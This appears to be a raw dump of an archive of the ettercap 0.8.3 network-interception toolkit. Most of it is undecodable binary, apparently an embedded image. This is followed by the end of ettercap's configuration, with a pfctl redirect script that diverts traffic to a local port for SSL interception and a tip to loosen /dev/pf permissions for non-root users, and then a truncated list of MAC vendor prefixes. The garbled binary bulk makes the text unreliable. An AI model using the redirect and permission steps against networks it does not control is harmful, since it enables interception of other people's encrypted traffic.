p]Pn~vK-~kE:QPl.Qәt;4Rj_6454474׭  H~eb&2Xso E CYqW}K&elǎoޭHbw8}%,R@[eb$ȉMMD_~nش]{uKwJIC69 Q T-p 2P.އ:xNȒYR  šfn[ 6^ `^i>ykCb5XX0*9A4ޔDv&=46_#cZ?7s9 ;б^oP𹖋% ˏPJd3S ?rԃ̹zݶּ}MPݶpD&o>?TڲR+VsOC[Zn 8mqhrt4̖ cGN>wcJAᵸ EQ\ompu3-Ca>6aff[H--tjݷa QJ,pPm!`)lt.]:93*e-^6YsE5[ Wrwuwvb}vX0Գh"3tB BJZɣ#/-$qo}_`n-zDdLp 9ln4 FɥAGw=,Q(h- FU V`lh PeC'ҾQtw``,J"Z#sf6En%HF}go獘F<ϕ gXm_5MvR rӴvyrxP.Ǒ٥:1`42L~1*7֮_ξ5;:ZWtd2x>Sv߄$1ysil 6a(ʰL ~_MxkzŚE"ffGf#sT:QTJZE+WzA9J n~[v=RʕL˄(<8f#H47"KPw_il6J"kMOB*XJ$cxH|!r*=bYj{=z tj}wUk ߿[]aY6Nϼ>ɱITJ+S)EYKFOhZE/֌q4ua Ӱ`LckCq @@ a1[zp8  r hCko(,IaCf߂f$5kҍSD0t/F;|>L<ٹ%hbRRE(AnZ,,Ɛ+g/M,eN%˒}m} 9'W/),I TIȤS(KZ6]3;ӑbK܎`S[Po}c#\R<Կ䲹_|wkNJ{olmpn۶$]7` ˋ` u%=Negc\lrjr|,bvO /s^/!_g]Ch຾/l5L.XΣUP,P*mN' /G=_J ރj{]GܭFIVӕkyPr.XٹgeNcnU$9hXu(hozuE8؈ɉ|7&'PW@ YV3KgݽK MV v]⻕3uX d&@ |>BZOy TUQW*+җ@AXD9Ek[+6N‘Mi?Gz1ۍ-[ǔu@v[(ؿo Eu@@k} y|R,_W]C`ucKzZgdqe.LվAAyU)^cáz|~OC&Z=Z*_ xj[ZZ@rK%i\#ɟL,`>Y˂LRWWr?qz@+ׇ7}hmE -N!>y *Pd(㑑ç?3tlC }m͝K<^yksKPCubE L07B<7Ya$I# % C{w \!'`3<C7&01*hr0z9LiK\6N[URH2ܲpŎa(N]#sq'"9{;_| @;NiB+C$YAcCA Njg9uϘT!|~ws}SM?{ZYf!IJkV<2əoOv~AAygxqm.\QAo)7J2LfP \.TUerd($ t2d>|dvz|?8Z54oud,V^A,n`5G\|c302yss(JAHNnV\ũ菇ON>kzUo.*HSXz5n h@< /=#G"O¬hlT*3Rpb1 j%J ,A8 ci$%N=Ћ6(Tsfǣ/~ֻw|v0K{t'Q6>2Uyc7z!o5 *@m0 Sepٶ _ٿG'd_VgH.աN1Y(ʋZEjCAAHg vs}k;4 6(eWfp0 e[fR(K(䊹t*?M-/2dk?i3m@ж0tju~ئt*S1<~ (2lbfg&ݗXJVUVw# l# a㺭hkm8(aP\N`K 6,n'ؠ(fK&`2(8\>C $8a$it|ĎُWʕޥ>r<ˤ:xrlvo_5qcz|Ūkl^nƤgfsC]m=!r "I^^̛7-?ꧪ}C7Kn ү' 狳a;4TacpιiVEJE\.[X,|0ϗOgӅ|yRvף˯޵gnU*v OX  ¶8lL6)/{Ƈ#?~*LnagSkGo|&Tu6 Gp˘BXB\V֐d`j&#?f0XT2p< 0؜\,t}!HBKcӺmƿs۽n^U[WK7Lω9?IL^z{`[x>x=>reNW n\5<4zAA8{əUU^WVZYdC7 0 a 麑;{s1&qwblԆǎpNó?ydL,ۨvΚ+m'.h_:x}^,,c)l2J9@% öP1?]sneLRfHh&[9JvS&+?n]l(VJy}غi;J2@e9niZW~9g?ST{woܲ.IJ yN\{MHSxcO?~.ι" ۘpn {۶upI׌7'F U++ \1rb7]953 CM*#_¡cqw}=+ݯ  \dh7iC6EP(m!I{xx6ĔuXn#%13;( Oo߫r+M.R/[W/&O>׋ibHi Pw^sgs pu"PӽXt2B8 X`@ijzBbY[=X^[¦ms 3΢R.ёo&ɩWDu3 Cg>θ – &1BpQjgA!\rۓ$lˆMlX(>=jv6\oV,$"G&E!_yqo!"O*LYtyeP2r [oW;  g(^^:[nضbbb Ć$K<2ǿW휯! 7. Z(a~a$`'ݗLXuLF)%e8,nsC6l斦jAE2*]q?qP*Xn-1X*p IDATUsZ +Z[;܉X|X \~t'MR B9 [ce`)|ӭ7AA8sDrzٺ{ܒP)U@y?6 =DF)W 1(߿WJq{_'˻ 8LۀCu`~!U;jvFAA Q\k{ڱO9,8UoG?OW;童fG0DߊHb|^;CU;p O8Kg8@bouQA3C/)Y׽ҿ 7ִ'q&&R9G'FgW;kѸ_ܰg5ja-FJď?|vF܈L~2 B8,ۄP/WmvFAA^;Q\\2xͽo)f&yZu4:P|BuD# 'E(I۶ -H"2;uup]jgAE?ԻN۲H$W]L*ȧ'fV;kE){r:ӱ J1聡ryqul+'@-܄$Hg:w^}M' «'U7nOeX\C7tئ 8Rʷ>좘yմ=X<GSC y$K056/}2MSባaÆ&&oO<^OAAxuDro[yՎ_rU:ARFyg-2LXP(p8]-BL N2Zv>f揌\"6 224j]v>AA^Q\N]tJ%ئ 0q{J/??T9τU-s%4,l^{䇜s^gܧma1Qx^ѹAAGq_73LBqe@R("/=0hs)}ݷ374v Z@2\$jR%﹓&+J޴M0! K~RʪQAߎ(^.`z>z] J@lئB-Xv34tlӶ,vbfvF,‘[|gsщ(l0b||o~wU;  Q\.bۯٵ.Bʥ2@,S (+죇>U*ywtK@WG*FI$K{9| 8bG S$QYLN:~ƮjA7' PGW77(.m )cz(#3LٷZY#P-MX\"3MhF y\!}*.2,L1>9 NΏ~V$AA͈yWP6JG.XSI;]~vmhoTt>џV;p~;vpܒ :laۏ !AADrKds; PSD|1l& 2;L>^g owP$N +/g[ةgD3 7Ӵg;♴L 8s]sovFAA~=Q\@ZۚWt>B0v^JZюLZqV܈zN )8H ṿU-rN czv~}QA_M/B-EL:c'~p8v)Ri`ۻSuwxlӪEr{! Ro)&!!ܐ;7 7c^d[i?^gclkVٕy1W;ǣq];ْXc{cㅅߝ34h6i+ɪp~닿,//;F!B$/Eēyc#$ \q,L۔E*[W'e듦֝>b3mQ[WDŽhni>cñǖ}U& կ1uVIwF%B! $/Er)gp$ׇmY؎EJci*+jx~kVlzXI4}ӯ7ZeYE)SN=ؖѾ (>[VmYSǵѰA߽1~j'~SO8Bv.>ںSx۵4<_zvɈZ0c+g-t혱={U&e޲iciuҖkۼs,ZH?G555~)B͝?#qi[tww8mb&eQs{n%wgՎ=mҊ(O' eio~4ʹqkٸ`u\v)n-̟ SjS5G !;qpH8_ʪyI,nHɻ;XSؓ^N芷O$\?;6(^͍FMhyj2 wѠl޲d*gŭu[VB!D䥀]ry뻺L7f$ӟITT?_Nk[=ܽ-;7Rjxe2u_8eĉkNcFGgmmm~ɧ}ٗB!Da@͙7ԋ.?cF;;ڰkp˞},L3N>fp(@mXfϛg]CeMK_]K^Z#C/}QS0dhF2S֕UTC!@s򲚋q::q\IRD+z{b~Ǚ+%kǎ#( R)c;}vz:[Q-Zp-\$69>} ǜwB!o;6i'AYiŎx=m1 #F+k؁fDOOۧgJC@ h)vK7<- s&>J`nc%7|Cw|v͆KB!$/愓gg251%%ѾE 7|j~ǘktM' ki+E*'NR]UIW{NB;ꚱ|:~$`F`;`/SI44fcM[ Hi]3zY=wBq8icdqνl"i&M+Z?z'14M C knh:Vd2:C}6JE Y[N)~/>쮆M=?׃m.HksE'n9GBq8@Ek.⌟vttXV tfW/>o14M5M hcۤ)4M5} Xyqp*l۱zۻlL,+E0d`Yi6n]5p8BÕ$/@4ڔuHhFO?och #.mb;6pTw#I3m&1ް]1)ijiFW^v1 !+I^ x'̼9NۉMd*FYI'{D1拡=5]Ƕm,4:{פSf8G2`Ag~}ep5HIsU|{Q!8IⳣwskFgW& X׷t;|u=4eY8ض){v;DGиulŁJVL7|/ Q!8H)S'p;NEIi ND±vVqW۟n`(Esluq\` b( tD![lˣ[Wޡ5L+EII=ͻ(_\IB!7j¥:5c*'utKºeU|}C~]5t,3ظ4-af٠2{vK*ZOz,vM%AV^G;ΏAf'G#B0  s6aʘ8}]м=×^kci#EmF]" m=ݽ2R+`߁@_?S|1Nji;E 4lڶj'owKJA~<pA !$ɋ.;fϝtmtvuL'4}m.|݈XVǵ p8B7]uq |߁@*888 ?͟*Kv=Oٖ)e&hhG+M\tç>|s' U{0 !駑B w?#~0hkm%N`:),|,;w~ p0e8hP8ڱqy xe!45Q#-ˀuFtp>M_>8 cò~ff4 zR?V,?m-z4cjϞmY|X B\%9~α,) m$Rqv^K?k;FE"P(u\qpp1:XzέF(6è)NݗAxޖxf-Ռj i|k%o޸mu|DŽگASJO!ȦB>,̘5 /?Wee%]]H;1'}eOGb(ZZRKmƶl b m{#U+U`BN\=X姗e iCGy~~O{xJ!D%ƍsglto_}ݤ^QRoT PDp0h5/.2]DrP:>n&6o{?k?CH%7 I^B9i`Xuu˯>OcF͋'ƺI91uu7W>c,$e%`6.HXK#X_GW8kc;&K]zY~EC> !(r ˡH$\~grRV.RVKl;BSQY6VtLqtB%S|:1^Z6 =0:]ݸ/|⇓N0\9B!H#P(zzwYIow'i+F&乧]~^Y@J+3u\4[kiݺDixk`/߭xc#lزu=tۿzJˢy99gB!pHc|υ6{,Ǥ a\x,wF@EEx42u0 H'ݽ=.9gS^~jOGxsL3nۚzåϙB1Td13/ܿXyZ$1,;E& ԶO4v+#..Fh{mX8vY~{W{mzc]梛sݕ;>!b$%Kt]O9ο줇GՖ\]R$kKh֚ōius~Zʣ5eюmbi"2lm,;>!7£oSNpݸo=.;>!b% B`'^~=ե[IK_7f;+-+rl ۱Bt4l94!{GOoqkWy{嗾~ϦLB!Ĉ&0xY>ʸksOI$0I~+wlB8 8hok x+׵5w$nS>ҩ4:fRkk;>IT@Ap7SIkfhl۶+_epqv~B%S` W\s{Z뺁غE=RtXEI4\YU]:6mi4tu$ӦL9jci@YKC%.CAC5VPakjh_ƳK͎߰hIiqQ!`6꼍ʁ {s<~,K?iǕ}~>4~^t`"2"cz,y‡?vFUlk@I6bɑ:6YT/doMq T zW'[(1?P M^<~(TGOP1 4J0E|5Lg(\ ܌Y!ըXzչiқ }=8JTC%.u/1q1gD,`p^d͋G5ߏ+@"G3,='I'7yh^y͟XՍ=]7%DMp5BY3TLt|d'WIo]=l߹ISƓL~]q%4TlőccP#Dăj$<lT"u61݌Cg&p$7;Ίlрsa4 /.?PBۇ*Q|; #TU{&_CM|w$hf~+I^<>s+6ep&}gU[|8غLtM2Z[wS(F.#; IDAT=-\{S"fvn1kg,z1L#枰Ϗh ?٪@|o&}Ek(|(Gއr)j 99CLۯS65\:?k/@N˲{{JJ"\xg/Gܓ,R8i_^g߱H$T6zL匴Ʊ\tMG7 b}}Y(*][7Zk>jX$0nQ{e'3wB--&% ޸$ԈM;uFѩ>ư x[SGRtTO_Q=p>|J7\'`?oj\c{߾W]5ˌ I^bƬ)=℉wa$^l-h^z <˖i>UTLU%5t 6pdPs)C"s7в}v\Kq-\! 轗^vy7sb+aSyWǀP k Xom*_%S?y=-rw0}Rhνd<3O{0:DF|S'T_syէ>㥅Xs囋7XGQ+'&f%=&#Z#RTbf]d//mppt GKacim_ĜQ;W9ԈZYhFU&  2x- `$]\ |ħc&:7A(D6y!(5^(MW@g8355| uAI0Q}{7kƨC4ؽqѕ;;ޑdG6iF EvvȊe^bonB^Mڿm),.֚w\}]hI ~'pie os]U' #?.o=-d=_9j1B\w!CMl;}\MaNl}Au<$KL1/\z}+NBSg# KMm{ݒw$4M_}XM  B=Bky^gz0kIW~k͢خe:z$KsG?qw xjŀ_;|51y?fLe'PSrySGf?!Y*e](ƣ|Y?p;jcBE wo`V,U^TyQ[7zI}%e!z❴v6h&%+~J(@TՎ>ѵv\Uip  +Ho?^I\nqy4ݣQL@+JbVFݖg6~/KpktX\L;͘q7}k؆25uGG5<6X[dxE?FƁPXO~F3l>I+ |uxi(k0>;=dInMdb3jwsmPx,05 C3Cy=[F.glEnBCgb_MH QIעNtQʁ3Q?82Nt>U y({T֠AMݙL^*Ɵr17NSHQ-/L[wK67t;ޑlqk*g \v, uI)3w|R`ʱjd@Ps5]h=jW,X:D=΍zHYyⴛKJK=tt5\p/mzxf֝^QQlkKN5Q˶B62&Tf}3 0ez~?$C716hmS.2jC[ǜw]07?wRT!>B=΃HrjuF%=yKmw= ȬTx*IzK Qy-Ձ;W  ˨ƲE4d{6T1Q ׵[ǡzLPS;GP#PS1Bހea,8zǟ>J GKz܊enY-k6h |Xo^] ˚@8 :^xg\>wuSOuqc>_ܟ]͗>~`mH62}(]j_?#y.á 8?7.lYbʷQ>c eV&ߎ@%qIFkIqMiVSd1VmCm,WCu@"ȹ/ŵ|#AF݄1'u+R{Zw7ַ^{k- o( { wDih50~ d7bI/i/]݇~uQe>MG?},򋅷]2:[kw5']8Gsζ-nZ=_=ye:RÃErN_F-8#ޒLQ mX&6O s6 @+APςCnTnj,Fuf VC7E=ԌLwe7j=PU!eO}W8mM]͖J'qZJEeꚊqeZ)3s GUӰ'nh[H79o@8\'0%>"G}馗z}O{jgM].]i d÷\YsVc- j˵h|ko3p#3P#Ś,Df|opj_vd71 P`@bҀZ0>>Tuɟ'dUbGRu]gƗ75ד\wIp$TDK"Q #HO_ȓQ` c'.¯J:VglI.iݷM-uyU?I77_~pNE:^al:Χs4EȖߠaeRg}{7o@u~$q),^+NB7&َ6eJg/'#>y(Ԣb} (p(NI0 ,ۤNzo8sagv>uj1j.8&$3;6=6\muи7V/&::c< } ֣sjuBD()1K9^ޚl}SM[3vm˴͏6QP^·8vTN tihMX J D;wYߋ٨2gFdը"}(p퉍/kӵb3ʊ;죮;utүk=x[dP\SSQ@nέd"|2nv7jL6I,ԑ$'M܂ڃ2nvPS" H8 !\qmT:iX)}}m~ Oyovf6 #xe:5S{U-et]Cği{P>SZPseGA9h7)O+ԑ!P#/Xq_uT^L=;bF#5i.`;6cbHޞX1z45|q[Qs3}|REvO6iBbhݻ7^=㈮qy1áZ9= _.=Z#{;6T)b-P ^UtwP TRC6כx.6ښI^/Jm[خV؛l]w|To2TՒ4mf9&bIDٶڴrvmijT߀ rA %&%Ө\poՊٸ#q *(y&^1S!FӁY]*vk5ه*܁}y>%yy+/KCʂ}wP0RZV2N׃)l7C0)Z*.Ě^MDmZ)(\I?pmvF\J\U/GסPUL@d:wp,L%pu ּXl]Dze(lSPe]23P 娑#QUE%LQ ."36?+=>Aq=7 Tru ɋȻڲؐ2S]4F}ˆ/ BxwjFjKQIW+|޷jE3<^АFPHr`!TdJQbE-z\-)7E7tbΛ[*"糆yBN4&7P#Ųӈ#k^DTN2T6u B46t/vl;>!^Wg s/QR!w ɋȻY@D*M4HܺUcB0l"34Wy^=&}%'_]UuL]Lq\pplc]-M! I΅P{ Y2@{)LVC^̪kWEUyE5f\@@'cmm;>!(qTu||;dUmlkb*tp?Z qQ렖 ]WA`3F͍~'8l$PΡ̹7}wjE'V1@lq U>r {Z]5{'"pV( `pG+{\I"򦼼tLm虎J40HZ[e"~141PO_ ܍JF&/&a61T)_SemjL{yƩ)t&'/@}Σy`mcֻeC7G\QoiL+ ծ8!Dlg+S&s m hxm;(>T1xf-E͘ښ9z؎K8w׷b}Q(jK.T/n?ʒ\6NCM@-^ j#+N ާJñN.ެMȋhjGNd2 $XܹDQ~;PCpG,3߂d_Ԝ*y0P#7?%9mB_/bb6od~*p>m;b?*ɥӀ_<M,ɋȋQL0jA2'm\#Uq uj/S4[52CYq-@v=W1Ue/P|挬G4rlgK*ly04?gjxCuW2KijD@&=&`Pn߱a㭤hLdIw6Wh&hC A!uk1 Gdhx_v)x^zy7G4*~?jtPs FZUx-[AH"bq'1v-;s֦b#+i?h6hP/R ǡXȆ9W^TA x/;sxr΢#]pC?)()Hu4@[>ڼL:>/{uMogsK?$WuYEA0O:tΪ|.m`?/BL`O s&5 JT0 dTsANPTk5J=&QQ~>c`=dxja|C܃++$y97vq5s8$ho[nXԢ0UNjy,0{o,v}ǁyP+fiY+8L^-11AFO(jFFВxK Os\uLvE6c©%pU{s+a6`0k[cˑJTBm nãL\TQϛwAU;fհ3o#FTe2TI腨iz|KsQS,u6P2霛U< u~v΋VrXq%FQ2W~x|l&yxo \@Mk עJ%;SX [|}.~ikFM5jǟ$/"f̚|eēq4ŵ-l;ؼs߱񨅜PXK xӼݷTK j+@1.WQhvP%XvCQ lT«6 ޟ OLBM' 5g)TEQl"TB1˟/L)C+q,jz*Tc#PxKoҜ@(jwx*QQ[}W,{a**O(׏Pϻ2eITr:mQKkNKcovZCv*pA~MZ5|D=t.χ_~$7g>zDMBQnCMuuZP{ڿ w?$f8C-i*ɋș@M>䔝&qM¡Pqgz*fЋj|l;xݴ2F%|~{ }@2t" 9`(`4͐W3xoQ?ҷIl1Ͼk~Z'rEΌ]=nx:uqЉ475tm;>F5/^6j?|!]bL?m@͕9[Q;BȆ.Ms)5_B5>1R+jM!t x.10E Nhm-ɋș WՔM%{veȍ<'QEvpl  o͡$QŸ7*؇҂:/wP$_t;lP14ߩlT mlƱYvR`\ k))p#@U3gL:rL/8piۓ(χ^=|#lCw<ŹFjwor2jyPϋȉں3Ms\OJ.HMBw,C1z`5-XF|`0?՘XJ\$?%qߨˁw6(pPQ}B*:wEػ$L~ʊDMUnx u`~wu?DM% Ui\IaL]Zv>jӁYdwrԨ׽b҇Z \[7E.:2Pf726K Y{)H"rdμi[&foxCg["߲wb207K_C5gv~A5>L]teg#u1r7wC{zkο$FC7;|U!YjCmh9 GPF_ /Q勳}PQצ_SJB/F}G@=IaTLCi( uM g*.D]QdT}Կ9U\-R49.YTM1@uOha~ΰI". -~U< %t#iV!׼?P7Mzh yIS|LCk`v7bG5?0@UH 6>0rd45P8uEk\S'ISkQ }&pQ##Q{I>ӑ$jTqkIBވ2[ϯDԸ)!ɋȺV7Įx$Zb`h ]+\oSL-1.i4 7Po-Dr]|pc.ƣd&sQkv_O$yYwѳhn4JbtB 8it=нgWG1l'B1XQ jTie`.N'ђ4yQM7/C<\Hm1?7B!8ܹEYF5N<'}*IZ 4\q32B!bEdMeUE5L{Xɵﻙ{ +Lt̴= !BH"fؚ饥qeUt37m$"Db[VyB!DEdMeuD#@4ZJv֡Gl,-F+Š׶?wB!xe8EBcNOO7fa+;0M[ !B!EdMeUtIX$ h[vp%;>!BQ$yYiV3|xM tåa}x1 !B&ɋȊhd&C_#l6Yt !B'ɋȊ3K+Bl&NMW-m+O!B?I^DVWud0Eөk 4{G)KvB!&ɋȊqU'B% up,}-/B!d1lH|L]1XPDG7lzxiWfB!(B.`D1l'Z0tN*eah`Dc]uO!%>5rH!E ۔gUG:F -вie~&BQ@rH!E K0LR}XKiy=hۮ-no)cB!Cc< XX $/bXUϩTqj*iSVZJYA( [Vv?wlB!E>` )I^İ=bҕ^堧1p;6!B".܉J^5RmL Y$.` ډ94;77v7B! (6Q!Ĵ e# 7D3FbՒʘB!D~:ɴ11ds|M20fL-5}N݁7֯l8l !BE ImݨUK40aG2i[V>ZO!B$yC2gԳuݝ\]5ރyōReL!B$/"cάL mf>gwB!#,8겳5-DJ-$㶹|ѶB!dEdl);3fԨ Fhl}dݪM!B\#3]֠{ngwRfB!%DFf͙vNIHI5ѴoOB!dEddi5MSWJl^@ks.cB!#$/³ںsV]h\&N@7lvwYRM!B|ϦNxc+jL1nV@C}:cB!#$/MӴqF֧qo]ܶB!8 localhost port $3 | pfctl -a sslsniff -f - # ----- cut here ------- # it's important to remember that you need "rdr-anchor sslsniff" in your # pf.conf in the TRANSLATION section. #redir_command_on = "the_script_described_above %iface %port %rport" #redir_command_off = "pfctl -a sslsniff -Fn" # also, if you create a group called "pfusers" and have EC_GID be that group, # you can do something like: # chgrp pfusers /dev/pf # chmod g+rw /dev/pf # such that all users in "pfusers" can run pfctl commands; thus allowing non-root # execution of redir commands. ########## # EOF # ########## ettercap-0.8.3/share/etter.finger.mac0000644000175000017500000260647713505247364017402 0ustar koeppeakoeppeaE043DB Shenzhen ViewAt Technology Co.,Ltd. 2405F5 Integrated Device Technology (Malaysia) Sdn. Bhd. 3CD92B Hewlett Packard 9C8E99 Hewlett Packard B499BA Hewlett Packard 1CC1DE Hewlett Packard 3C3556 Cognitec Systems GmbH 0050BA D-Link Corporation 00179A D-Link Corporation 1CBDB9 D-Link International 9094E4 D-Link International 28107B D-Link International 1C7EE5 D-Link International C4A81D D-Link International 18622C Sagemcom Broadband SAS 7C03D8 Sagemcom Broadband SAS E8F1B0 Sagemcom Broadband SAS 00F871 DGS Denmark A/S 20BB76 COL GIOVANNI PAOLO SpA 2C228B CTR SRL 348AAE Sagemcom Broadband SAS BCEC23 SHENZHEN CHUANGWEI-RGB ELECTRONICS CO.,LTD AC06C7 ServerNet S.r.l. CC46D6 Cisco Systems, Inc 48AD08 HUAWEI TECHNOLOGIES CO.,LTD 2CAB00 HUAWEI TECHNOLOGIES CO.,LTD 00E0FC HUAWEI TECHNOLOGIES CO.,LTD 24DF6A HUAWEI TECHNOLOGIES CO.,LTD 009ACD HUAWEI TECHNOLOGIES CO.,LTD 38F23E Microsoft Mobile Oy 58AC78 Cisco Systems, Inc 907F61 Chicony Electronics Co., Ltd. 28BC18 SourcingOverseas Co. Ltd 807ABF HTC Corporation 409F87 Jide Technology (Hong Kong) Limited 3C5AB4 Google, Inc. 001A11 Google, Inc. D83C69 Shenzhen TINNO Mobile Technology Corp. 74AC5F Qiku Internet Network Scientific (Shenzhen) Co., Ltd. BC83A7 SHENZHEN CHUANGWEI-RGB ELECTRONICS CO.,LTD 000347 Intel Corporation 001175 Intel Corporation 0013E8 Intel Corporate 001302 Intel Corporate E4F89C Intel Corporate A402B9 Intel Corporate 4C3488 Intel Corporate 000D0B BUFFALO.INC 000740 BUFFALO.INC 0024A5 BUFFALO.INC DCFB02 BUFFALO.INC F4CE46 Hewlett Packard 001CC4 Hewlett Packard 0025B3 Hewlett Packard 001871 Hewlett Packard 000BCD Hewlett Packard 000E7F Hewlett Packard 000F20 Hewlett Packard 00110A Hewlett Packard 001321 Hewlett Packard 001635 Hewlett Packard 0017A4 Hewlett Packard 000802 Hewlett Packard 90E7C4 HTC Corporation 74A78E zte corporation D860B0 bioMérieux Italia S.p.A. 8038BC HUAWEI TECHNOLOGIES CO.,LTD D440F0 HUAWEI TECHNOLOGIES CO.,LTD 64A651 HUAWEI TECHNOLOGIES CO.,LTD E8CD2D HUAWEI TECHNOLOGIES CO.,LTD ACE215 HUAWEI TECHNOLOGIES CO.,LTD EC233D HUAWEI TECHNOLOGIES CO.,LTD 78F5FD HUAWEI TECHNOLOGIES CO.,LTD 80B686 HUAWEI TECHNOLOGIES CO.,LTD 10C61F HUAWEI TECHNOLOGIES CO.,LTD 8853D4 HUAWEI TECHNOLOGIES CO.,LTD 0C37DC HUAWEI TECHNOLOGIES CO.,LTD BC7670 HUAWEI TECHNOLOGIES CO.,LTD 24DBAC HUAWEI TECHNOLOGIES CO.,LTD 0021E8 Murata Manufacturing Co., Ltd. 006057 Murata Manufacturing Co., Ltd. 0007D8 Hitron Technologies. Inc 84742A zte corporation 681AB2 zte corporation E005C5 TP-LINK TECHNOLOGIES CO.,LTD. A0F3C1 TP-LINK TECHNOLOGIES CO.,LTD. 8C210A TP-LINK TECHNOLOGIES CO.,LTD. EC172F TP-LINK TECHNOLOGIES CO.,LTD. EC888F TP-LINK TECHNOLOGIES CO.,LTD. 14CF92 TP-LINK TECHNOLOGIES CO.,LTD. 645601 TP-LINK TECHNOLOGIES CO.,LTD. 14CC20 TP-LINK TECHNOLOGIES CO.,LTD. BC4699 TP-LINK TECHNOLOGIES CO.,LTD. 0C45BA HUAWEI TECHNOLOGIES CO.,LTD 847778 Cochlear Limited 0453D5 Sysorex Global Holdings CCA223 HUAWEI TECHNOLOGIES CO.,LTD E8088B HUAWEI TECHNOLOGIES CO.,LTD 60E701 HUAWEI TECHNOLOGIES CO.,LTD 000883 Hewlett Packard C4346B Hewlett Packard 8CDCD4 Hewlett Packard 3464A9 Hewlett Packard D4C9EF Hewlett Packard A45D36 Hewlett Packard A0D3C1 Hewlett Packard 40A8F0 Hewlett Packard 6C3BE5 Hewlett Packard 082E5F Hewlett Packard 28924A Hewlett Packard 10604B Hewlett Packard 308D99 Hewlett Packard 0030C1 Hewlett Packard FC3FDB Hewlett Packard 4CA161 Rain Bird Corporation 7C6193 HTC Corporation 001217 Cisco-Linksys, LLC 000C41 Cisco-Linksys, LLC 000F66 Cisco-Linksys, LLC 44E08E Cisco SPVTG 185933 Cisco SPVTG E448C7 Cisco SPVTG 24767D Cisco SPVTG 2CABA4 Cisco SPVTG 0002C7 ALPS ELECTRIC CO.,LTD. 04766E ALPS ELECTRIC CO.,LTD. 006B8E Shanghai Feixun Communication Co.,Ltd. AC853D HUAWEI TECHNOLOGIES CO.,LTD 74882A HUAWEI TECHNOLOGIES CO.,LTD 78D752 HUAWEI TECHNOLOGIES CO.,LTD E0247F HUAWEI TECHNOLOGIES CO.,LTD 00464B HUAWEI TECHNOLOGIES CO.,LTD 707BE8 HUAWEI TECHNOLOGIES CO.,LTD 548998 HUAWEI TECHNOLOGIES CO.,LTD 0819A6 HUAWEI TECHNOLOGIES CO.,LTD 3CF808 HUAWEI TECHNOLOGIES CO.,LTD B41513 HUAWEI TECHNOLOGIES CO.,LTD 283152 HUAWEI TECHNOLOGIES CO.,LTD DCD2FC HUAWEI TECHNOLOGIES CO.,LTD 0003DD Comark Interactive Solutions 00107B Cisco Systems, Inc 00906D Cisco Systems, Inc 0090BF Cisco Systems, Inc 005080 Cisco Systems, Inc 00E018 ASUSTek COMPUTER INC. 000C6E ASUSTek COMPUTER INC. 001BFC ASUSTek COMPUTER INC. 001E8C ASUSTek COMPUTER INC. 0015F2 ASUSTek COMPUTER INC. 002354 ASUSTek COMPUTER INC. 001FC6 ASUSTek COMPUTER INC. 60182E ShenZhen Protruly Electronic Ltd co. F4CFE2 Cisco Systems, Inc 501CBF Cisco Systems, Inc 285FDB HUAWEI TECHNOLOGIES CO.,LTD 404D8E HUAWEI TECHNOLOGIES CO.,LTD 781DBA HUAWEI TECHNOLOGIES CO.,LTD 001E10 HUAWEI TECHNOLOGIES CO.,LTD 88F031 Cisco Systems, Inc 508789 Cisco Systems, Inc 381C1A Cisco Systems, Inc F40F1B Cisco Systems, Inc BC671C Cisco Systems, Inc A0ECF9 Cisco Systems, Inc D46D50 Cisco Systems, Inc 1CE85D Cisco Systems, Inc C47295 Cisco Systems, Inc A0554F Cisco Systems, Inc 84B802 Cisco Systems, Inc BCC493 Cisco Systems, Inc 001947 Cisco SPVTG 0022CE Cisco SPVTG F02929 Cisco Systems, Inc ECE1A9 Cisco Systems, Inc 7C69F6 Cisco Systems, Inc C08C60 Cisco Systems, Inc C0255C Cisco Systems, Inc 885A92 Cisco Systems, Inc E4C722 Cisco Systems, Inc C07BBC Cisco Systems, Inc 0090F2 Cisco Systems, Inc 00173B Cisco Systems, Inc 00400B Cisco Systems, Inc 006009 Cisco Systems, Inc 006047 Cisco Systems, Inc 0006C1 Cisco Systems, Inc 00E014 Cisco Systems, Inc 00E01E Cisco Systems, Inc ACF2C5 Cisco Systems, Inc 84285A Saffron Solutions Inc 80A1AB Intellisis F832E4 ASUSTek COMPUTER INC. 0010FF Cisco Systems, Inc 34BDC8 Cisco Systems, Inc 54A274 Cisco Systems, Inc 5897BD Cisco Systems, Inc 046C9D Cisco Systems, Inc 141357 ATP Electronics, Inc. F44B2A Cisco SPVTG 3C8CF8 TRENDnet, Inc. 78D6B2 Toshiba C04A09 Zhejiang Everbright Communication Equip. Co,. Ltd F00D5C JinQianMaoTechnology Co.,Ltd. 2C081C OVH 30E090 Linctronix Ltd, 70BF3E Charles River Laboratories D848EE Hangzhou Xueji Technology Co., Ltd. 88C242 Poynt Co. E8343E Beijing Infosec Technologies Co., LTD. C4ADF1 GOPEACE Inc. 58F496 Source Chain 80B709 Viptela, Inc 741865 Shanghai DareGlobal Technologies Co.,Ltd 0084ED Private DCDC07 TRP Systems BV 080A4E Planet Bingo® — 3rd Rock Gaming® 0C1A10 Acoustic Stream E4A387 Control Solutions LLC DC82F6 iPort C49E41 G24 Power Limited D03E5C HUAWEI TECHNOLOGIES CO.,LTD C8A9FC Goyoo Networks Inc. C49FF3 Mciao Technologies, Inc. 7C2BE1 Shenzhen Ferex Electrical Co.,Ltd 30FFF6 HangZhou KuoHeng Technology Co.,ltd 5853C0 Beijing Guang Runtong Technology Development Company co.,Ltd 5031AD ABB Global Industries and Services Private Limited 30A243 Shenzhen Prifox Innovation Technology Co., Ltd. 2CA539 Parallel Wireless, Inc FC335F Polyera A8C87F Roqos, Inc. C025A2 NEC Platforms, Ltd. 7853F2 ROXTON Ltd. 94BBAE Husqvarna AB AC8995 AzureWave Technology Inc. F898B9 HUAWEI TECHNOLOGIES CO.,LTD 1C497B Gemtek Technology Co., Ltd. 2CCF58 HUAWEI TECHNOLOGIES CO.,LTD 54FF82 Davit Solution co. D445E8 Jiangxi Hongpai Technology Co., Ltd. 847973 Shanghai Baud Data Communication Co.,Ltd. 906F18 Private 881B99 SHENZHEN XIN FEI JIA ELECTRONIC CO. LTD. 681295 Lupine Lighting Systems GmbH 649A12 P2 Mobile Technologies Limited E4C2D1 HUAWEI TECHNOLOGIES CO.,LTD DC3CF6 Atomic Rules LLC 3C3178 Qolsys Inc. 083A5C Junilab, Inc. 4CAE31 ShengHai Electronics (Shenzhen) Ltd F0D657 ECHOSENS 24693E innodisk Corporation E48D8C Routerboard.com C0DC6A Qingdao Eastsoft Communication Technology Co.,LTD 6459F8 Vodafone Omnitel B.V. 082CB0 Network Instruments 485073 Microsoft Corporation 3CA31A Oilfind International LLC A424DD Cambrionix Ltd 88A2D7 HUAWEI TECHNOLOGIES CO.,LTD D89A34 Beijing 